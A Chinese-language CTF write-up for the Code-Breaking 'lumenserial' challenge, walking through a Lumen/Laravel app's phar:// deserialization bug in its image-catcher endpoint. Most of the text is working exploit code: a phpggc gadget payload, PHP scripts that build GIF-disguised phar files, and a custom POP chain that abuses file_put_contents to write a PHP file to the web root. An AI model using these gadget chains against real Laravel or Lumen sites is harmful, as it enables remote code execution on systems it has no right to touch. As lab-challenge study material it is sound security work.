Code_Breaking -- lumenserial(phar 反序列化)

题目环境

https://github.com/phith0n/code-breaking/tree/master/2018/lumenserial

源码阅读

laravel框架
先看routes/web.php

1
2
3
4
5
6
7
8
<?php
use Illuminate\Http\Request;
use Symfony\Component\HttpFoundation\File\File;
$router->get('/', function (Request $request) use ($router) {
return view('index');
});
$router->get('/server/editor', 'EditorController@main');
$router->post('/server/editor', 'EditorController@main');

所有动作都会通过main函数执行
再看App\Http\Controllers\EditorController::main

1
2
3
4
5
6
7
8
9
10
11
12
13
public function main(Request $request)
{
$action = $request->query('action');
try {
if (is_string($action) && method_exists($this, "do{$action}")) {
return call_user_func([$this, "do{$action}"], $request);
} else {
throw new FileException('Method error');
}
} catch (FileException $e) {
return response()->json(['state' => $e->getMessage()]);
}
}

凡是开头有do的函数都能调用
这样的函数有

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
protected function doUploadImage(Request $request)
{
//....
}
protected function doCatchimage(Request $request)
{
$sources = $request->input($this->config['catcherFieldName']);
$rets = [];
if ($sources) {
foreach ($sources as $url) {
$rets[] = $this->download($url);
}
}
//..
}
private function download($url)
{
$maxSize = $this->config['catcherMaxSize'];
$limitExtension = array_map(function ($ext) {
return ltrim($ext, '.');
}, $this->config['catcherAllowFiles']);
$allowTypes = array_map(function ($ext) {
return "image/{$ext}";
}, $limitExtension);
$content = file_get_contents($url);
$img = getimagesizefromstring($content);
//..
}
protected function doUploadImage(Request $request)
{
//..
}
protected function doListImage(Request $request)
{
//..
}
protected function doConfig(Request $request)
{
//..
}

可以看到$content = file_get_contents($url);可以上传个phar触发反序列化
http://website/server/editor/?action=Catchimage&source[]=phar://xxx.gif

pop链寻找

先利用phpggc执行
题目将可以命令执行的函数都过滤了

1
2
3
4
5
disable_functions:
system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log

disable_classes:
GlobIterator,DirectoryIterator,FilesystemIterator,RecursiveDirectoryIterator

先利用phpggcphpinfo()

1
2
3
4
5
ubuntu@VM-0-12-ubuntu:~/phpggc$ ./phpggc Laravel/RCE1 phpinfo 1 | base64
Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIA
KgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7
YToxOntzOjg6ImRpc3BhdGNoIjtzOjc6InBocGluZm8iO319czo4OiIAKgBldmVudCI7czoxOiIx
Ijt9Cg==

利用脚本生成phar(不知道为啥利用phpggc生成的phar无法反序列化)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
$a = "Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIA
KgBldmVudHMiO086MTU6IkZha2VyXEdlbmVyYXRvciI6MTp7czoxMzoiACoAZm9ybWF0dGVycyI7
YToxOntzOjg6ImRpc3BhdGNoIjtzOjc6InBocGluZm8iO319czo4OiIAKgBldmVudCI7czoxOiIx
Ijt9Cg==";
$b = unserialize(base64_decode($a));
$filename = "poc.phar";
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ");
$phar->setMetadata($b);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>

上传后访问即可得到

上面的disable的函数也是从这里得到的
之后要想办法利用file_put_contents写文件
phpggc提供的pop链都是单参数的,无法满足要求,需要找到一个双参数的pop链
\Illuminate\Broadcasting\PendingBroadcast::__destruct()

1
2
3
4
public function __destruct()
{
$this->events->dispatch($this->event);
}

\Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public function dispatch($eventName, Event $event = null)
{
if (null === $event) {
$event = new Event();
}

if (null !== $this->logger && $event->isPropagationStopped()) {
$this->logger->debug(sprintf('The "%s" event is already stopped. No listeners have been called.', $eventName));
}

$this->preProcess($eventName);
//...
}
private function preProcess($eventName)
{
if (!$this->dispatcher->hasListeners($eventName)) {
$this->orphanedEvents[] = $eventName;

return;
}

foreach ($this->dispatcher->getListeners($eventName) as $listener) {
$priority = $this->getListenerPriority($eventName, $listener);
$wrappedListener = new WrappedListener($listener, null, $this->stopwatch, $this);
$this->wrappedListeners[$eventName][] = $wrappedListener;
$this->dispatcher->removeListener($eventName, $listener);
$this->dispatcher->addListener($eventName, $wrappedListener, $priority);
}
}

\Faker\Generator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
public function __call($method, $attributes)
{
return $this->format($method, $attributes);
}

public function format($formatter, $arguments = array())
{
return call_user_func_array($this->getFormatter($formatter), $arguments);
}

public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
foreach ($this->providers as $provider) {
if (method_exists($provider, $formatter)) {
$this->formatters[$formatter] = array($provider, $formatter);

return $this->formatters[$formatter];
}
}
throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
}

Illuminate\Events\Dispatcher::getListeners

1
2
3
4
5
6
7
8
9
10
11
12
13
public function getListeners($eventName)
{
$listeners = $this->listeners[$eventName] ?? [];

$listeners = array_merge(
$listeners,
$this->wildcardsCache[$eventName] ?? $this->getWildcardListeners($eventName)
);

return class_exists($eventName, false)
? $this->addInterfaceListeners($eventName, $listeners)
: $listeners;
}

##payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
<?php 
namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
protected $events;
protected $event;

function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}

namespace Symfony\Component\EventDispatcher\Debug
{
interface TraceableEventDispatcherInterface{}

class TraceableEventDispatcher implements TraceableEventDispatcherInterface
{
private $dispatcher;

public function __construct($dispatcher){
$this->dispatcher = $dispatcher;
}
}
}

namespace Illuminate\Contracts\Events
{

interface Dispatcher{}

}



namespace Illuminate\Events
{
use Illuminate\Contracts\Events\Dispatcher as DispatcherContract;

class Dispatcher implements DispatcherContract{

protected $listeners = [];
protected $wildcardsCache = [];

public function __construct($listeners,$wildcardsCache){

$this->listeners["/root/Downloads/lumenserial/html/1.php"] = $listeners;

$this->wildcardsCache["/root/Downloads/lumenserial/html/1.php"] = $wildcardsCache;
}
}
}

namespace Faker
{
class Generator
{
protected $formatters;
protected $providers;

public function __construct($formatters , $providers)
{
$this->formatters = $formatters;
$this->providers = $providers;
}
}
}

namespace {
$a_ = new \Illuminate\Events\Dispatcher(array('<?php phpinfo();'),[]);
$a = new \Faker\Generator(["hasListeners" => "is_string","removeListener" => "file_put_contents","getListenerPriority"=>"file_put_contents"],[$a_]);
$b = new \Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher($a);
$c = new \Illuminate\Broadcasting\PendingBroadcast($b , "/root/Downloads/lumenserial/html/1.php");
$filename = "poc.phar";
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ");
$phar->setMetadata($c);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
}
?>

上传访问后在访问/upload/1.php

成功

参考

https://www.anquanke.com/post/id/170681
https://www.anquanke.com/post/id/170714
http://m4p1e.com/web/20181224.html